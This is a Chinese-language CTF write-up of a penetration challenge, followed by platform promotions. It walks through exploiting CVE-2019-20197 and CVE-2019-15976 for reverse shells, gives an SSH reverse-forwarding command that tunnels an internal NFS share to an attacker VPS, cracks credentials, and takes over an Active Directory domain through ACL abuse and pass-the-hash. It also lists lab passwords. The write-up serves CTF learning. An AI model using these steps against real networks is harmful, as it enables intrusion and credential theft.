本期的内部赛是一场渗透赛,感谢scanf的出题,但是可惜没有选手做出此题,大部分都到达了最后的域内,因为这次题目节点都是源于现实场景,所以只有36h。
题目只给了一个ssh代理:
很容易就能尝试出密码为proxy,但是登录后就会直接退出,这里直接利用ssh做端口转发即可,扫描一下就会发现开了8080端口:
密码为test/123456,查一下就能发现应该是CVE-2019-20197,直接弹个shell到vps上就行,然后可以发现backup服务器的对应ip:
proxy这台机器上面贴心的装了nmap,于是直接nmap扫一下,发现开了2049端口:
因为backup出不了网,并且nfs挂载需要root权限,所以这里直接ssh端口转发即可:
ssh -R 0.0.0.0:2049:172.31.37.236:2049 ubuntu@xxx.xx.xxx.xxx -CNfg -o StrictHostKeyChecking=no
挂载后信息搜集:
mount -t nfs 127.0.0.1:/databackup /tmp/temp/ -o nolock
利用hashcat爆破dev备份下的ssh密码为GwT_6T_3BcYNGBQJMipo,当然这里需要一个比较强的字典:
因为dev这台服务器与proxy是通的,所以再次ssh转发,将dev服务器(172.31.9.4)的22转发到vps上即可,登陆后查看.bash_history,发现docker起了一个gateone,进入docker后,利用gateone的回放功能:
命令如下:
python /gateone/GateOne/gateone/applications/terminal/logviewer.py --flat users/ANONYMOUS/logs/20200201125033108897-172.31.3.51.golog
即可发现在历史命令中useradd了一个jumpadmin用户,密码为
X2PyKm6P5aT4,登录上去后发现存一个一个itserver:
访问发现是思科的dcnm,其实就是CVE-2019-15976,github上的exp是直接返回一个cmdshell(这里大部分选手都是反弹的shell...但是后渗透的情况下,还是用msf比较方便),这里直接改成反弹msf即可:
很贴心是一个system权限,这里用powerview做信息搜集可以得知域管为Terry.Davis,但是由于这里域管没有登陆过,所以票据传递、哈希传递那些常见的攻击方式就不可行了,利用BloodHound可以发现因为acl控制不严,导致itadmin账户可以ForceChangePassword域管:
然后ps下进程就会发现itadmin这一个账户在dcnm这台机器上有相关的进程,然后msf迁移下,用powerview强行更改域管密码后,pth拿到dc权限,然后获取flag:
最后放一下整体的拓扑:
相信大家经过这几次的题目wp已经能够感受到空指针这一平台的质量,我们也十分欢迎CTF选手给我们投稿出题(联系npointer@163.com),一经采用会有多多福利。
另外在2.20日,春秋GAME将开放一次CTF公益比赛,空指针官方会针对特定题目的1血选手赠送内部赛邀请码,具体请戳链接
同时,按照之前的约定,我们会在3.6日开启一场re公开赛跟web公开赛,想参与到内部赛的选手加油哦~